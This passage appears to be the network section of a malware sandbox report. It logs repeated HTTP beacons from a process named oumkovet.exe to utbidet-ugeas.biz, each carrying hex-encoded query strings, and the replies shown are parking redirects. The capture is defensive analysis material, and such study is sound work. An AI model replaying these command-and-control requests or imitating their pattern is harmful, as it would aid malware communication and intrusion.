Sep 8, 2024 08:42:10.272775888 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:10 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02301DF5B8341DF5B8021DDDB8301D2624B81EF1FE311D35103218C3960233CC8A002DDBB8 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	64242	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:10.305552959 CEST	201	OUT	GET /d/N?02301DF5B8341DF5B8021DDDB8301D2624B81EF1FE311D35103218C3960233CC8A002DDBB8 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:10.782286882 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:10 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02301DF5B8341DF5B8021DDDB8301D2624B81EF1FE311D35103218C3960233CC8A002DDBB8 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	64244	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:14.855218887 CEST	169	OUT	GET /d/N?0250EB59D354EB59D362EB71D350EB8A4FD8E85D9551EB997B52EE6FFD62C560E160DB77D3 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:15.327265024 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:15 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0250EB59D354EB59D362EB71D350EB8A4FD8E85D9551EB997B52EE6FFD62C560E160DB77D3 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	64245	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:15.335741997 CEST	201	OUT	GET /d/N?0250EB59D354EB59D362EB71D350EB8A4FD8E85D9551EB997B52EE6FFD62C560E160DB77D3 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:15.986202002 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:15 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0250EB59D354EB59D362EB71D350EB8A4FD8E85D9551EB997B52EE6FFD62C560E160DB77D3 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	64247	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:16.152091026 CEST	169	OUT	GET /d/N?02342BE100302BE100062BC900342B329CBC28E546352B21A8362ED72E0605D832041BCF00 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:16.628696918 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:16 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02342BE100302BE100062BC900342B329CBC28E546352B21A8362ED72E0605D832041BCF00 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	64248	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:16.640372992 CEST	201	OUT	GET /d/N?02342BE100302BE100062BC900342B329CBC28E546352B21A8362ED72E0605D832041BCF00 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:17.143831968 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:17 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02342BE100302BE100062BC900342B329CBC28E546352B21A8362ED72E0605D832041BCF00 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	64249	45.79.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:17.896331072 CEST	116	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: rnmkcgd.ph Cache-Control: no-cache
Sep 8, 2024 08:42:18.392592907 CEST	1236	IN	HTTP/1.1 200 OK date: Sun, 08 Sep 2024 06:42:18 GMT server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.5.38 x-powered-by: PHP/5.5.38 cache-control: no-cache pragma: no-cache content-length: 1900 content-type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 73 63 72 69 70 74 3e 0a 09 09 09 76 61 72 20 66 6f 72 77 61 72 64 69 6e 67 55 72 6c 20 3d 20 22 2f 70 61 67 65 2f 62 6f 75 6e 63 79 2e 70 68 70 3f 26 62 70 61 65 3d 47 62 68 47 64 69 63 47 6f 6b 78 37 6a 32 25 32 46 74 57 6c 70 6c 63 4f 49 6a 55 38 6d 43 74 77 78 59 70 70 34 36 6c 6d 6c 78 59 6d 70 66 39 65 63 62 77 66 30 6a 38 6b 55 58 68 78 54 58 53 61 4c 6f 37 53 7a 69 63 6b 35 39 63 46 63 31 37 66 56 4a 55 51 30 57 25 32 42 57 79 35 6f 44 55 33 4f 46 47 44 42 6b 51 74 4f 72 55 6d 4a 7a 61 42 34 68 6c 41 46 47 51 4a 45 31 46 32 55 62 54 7a 4b 50 59 44 39 43 73 72 55 6f 6b 42 66 53 64 70 41 67 62 4e 4f 49 65 4b 4f 6f 57 71 6b 37 31 42 6d 7a 39 4a 63 52 73 66 70 63 30 50 57 57 68 71 31 5a 52 77 52 30 4f 52 6e 57 6a 4c 54 79 4d 73 37 6e 69 75 33 6d 6e 59 76 4b 4a 33 33 38 58 51 36 75 5a 78 32 4d 39 49 52 57 67 62 35 44 39 57 38 56 52 41 4a 46 55 33 43 6e 53 46 6d 65 35 50 45 54 78 39 41 65 43 41 7a 56 31 6d 6c 73 52 54 51 37 68 59 4c 61 4b 66 4a [TRUNCATED] Data Ascii: <html><head><script>var forwardingUrl = "/page/bouncy.php?&bpae=GbhGdicGokx7j2%2FtWlplcOIjU8mCtwxYpp46lmlxYmpf9ecbwf0j8kUXhxTXSaLo7Szick59cFc17fVJUQ0W%2BWy5oDU3OFGDBkQtOrUmJzaB4hlAFGQJE1F2UbTzKPYD9CsrUokBfSdpAgbNOIeKOoWqk71Bmz9JcRsfpc0PWWhq1ZRwR0ORnWjLTyMs7niu3mnYvKJ338XQ6uZx2M9IRWgb5D9W8VRAJFU3CnSFme5PETx9AeCAzV1mlsRTQ7hYLaKfJMk6gUQZMoQ3l0PYX48%2FXNETgDDiW8SWLWdyxeap2qEVjm1vY6czdJWC2ScpCZ8fnMtS8VOEwBaNlsYOKM2Vzpid%2BuOLK5po1gVNiYD%2Brt5yJkfUWUOoWfNOHd6DMH2zWE46o4gHHfCssw%3D%3D&redirectType=js";var destinationUrl = "/page/bouncy.php?&bpae=GbhGdicGokx7j2%2FtWlplcOIjU8mCtwxYpp46lmlxYmpf9ecbwf0j8kUXhxTXSaLo7Szick59cFc17fVJUQ0W%2BWy5oDU3OFGDBkQtOrUmJzaB4hlAFGQJE1F2UbTzKPYD9CsrUokBfSdpAgbNOIeKOoWqk71Bmz9JcRsfpc0PWWhq1ZRwR0ORnWjLTyMs7niu3mnYvKJ338XQ6uZx2M9IRWgb5D9W8VRAJFU3CnSFme5PETx9AeCAzV1mlsRTQ7hYLaKfJMk6gUQZMoQ3l0PYX48%2FXNETgDDiW8SWLWdyxeap2qEVjm1vY6czdJWC2ScpCZ8fnMtS8VOEwBaNlsYOKM2Vzpid%2BuOLK5po1gVNiYD%2Brt5yJkfUWUOoWfNOHd6DMH2zWE46o4gHHfCssw%3D%3D&redirectTy
Sep 8, 2024 08:42:18.392620087 CEST	913	IN	Data Raw: 70 65 3d 6d 65 74 61 22 3b 0a 09 09 09 76 61 72 20 61 64 64 44 65 74 65 63 74 69 6f 6e 20 3d 20 74 72 75 65 3b 0a 09 09 09 69 66 20 28 61 64 64 44 65 74 65 63 74 69 6f 6e 29 20 7b 0a 09 09 09 09 76 61 72 20 69 6e 49 66 72 61 6d 65 20 3d 20 77 69 Data Ascii: pe=meta";var addDetection = true;if (addDetection) {var inIframe = window.self !== window.top;forwardingUrl += "&inIframe=" + inIframe;var inPopUp = (window.opener !== undefined && window.opener !== null && window.opener

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	64250	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:18.401767969 CEST	169	OUT	GET /d/N?02E448F1E4E048F1E4D64899E4E44822786C4BF5A2E548314CE64DC7CAD666C8D6D478DFE4 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:19.126274109 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:18 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02E448F1E4E048F1E4D64899E4E44822786C4BF5A2E548314CE64DC7CAD666C8D6D478DFE4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	64251	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:19.135379076 CEST	201	OUT	GET /d/N?02E448F1E4E048F1E4D64899E4E44822786C4BF5A2E548314CE64DC7CAD666C8D6D478DFE4 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:19.623786926 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:19 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02E448F1E4E048F1E4D64899E4E44822786C4BF5A2E548314CE64DC7CAD666C8D6D478DFE4 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	64253	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:19.792726994 CEST	169	OUT	GET /d/N?02354A3FAE314A3FAE074A17AE354AEC32BD493BE8344AFF06374F09800764069C057A11AE HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:20.280069113 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:20 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02354A3FAE314A3FAE074A17AE354AEC32BD493BE8344AFF06374F09800764069C057A11AE Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	64254	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:20.286062956 CEST	201	OUT	GET /d/N?02354A3FAE314A3FAE074A17AE354AEC32BD493BE8344AFF06374F09800764069C057A11AE HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:20.772119045 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:20 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02354A3FAE314A3FAE074A17AE354AEC32BD493BE8344AFF06374F09800764069C057A11AE Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	64256	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:20.932609081 CEST	169	OUT	GET /d/N?0278AEB67A7CAEB67A4AAE9E7A78AE65E6F0ADB23C79AE76D27AAB80544A808F48489E987A HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:21.414892912 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:21 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0278AEB67A7CAEB67A4AAE9E7A78AE65E6F0ADB23C79AE76D27AAB80544A808F48489E987A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	64257	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:21.428107023 CEST	201	OUT	GET /d/N?0278AEB67A7CAEB67A4AAE9E7A78AE65E6F0ADB23C79AE76D27AAB80544A808F48489E987A HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:21.911909103 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:21 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0278AEB67A7CAEB67A4AAE9E7A78AE65E6F0ADB23C79AE76D27AAB80544A808F48489E987A Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	64259	172.234.222.143	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:24.372451067 CEST	169	OUT	GET /d/N?02228D4823268D4823108D6023228D9BBFAA8E4C65238D888B20887E0D10A3711112BD6623 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 8, 2024 08:42:24.854604006 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:24 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02228D4823268D4823108D6023228D9BBFAA8E4C65238D888B20887E0D10A3711112BD6623 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	64260	172.234.222.138	80	2576	C:\Windows\SysWOW64\oumkovet.exe

Timestamp	Bytes transferred	Direction	Data
Sep 8, 2024 08:42:24.860521078 CEST	201	OUT	GET /d/N?02228D4823268D4823108D6023228D9BBFAA8E4C65238D888B20887E0D10A3711112BD6623 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 8, 2024 08:42:25.340569019 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sun, 08 Sep 2024 06:42:25 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02228D4823268D4823108D6023228D9BBFAA8E4C65238D888B20887E0D10A3711112BD6623 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 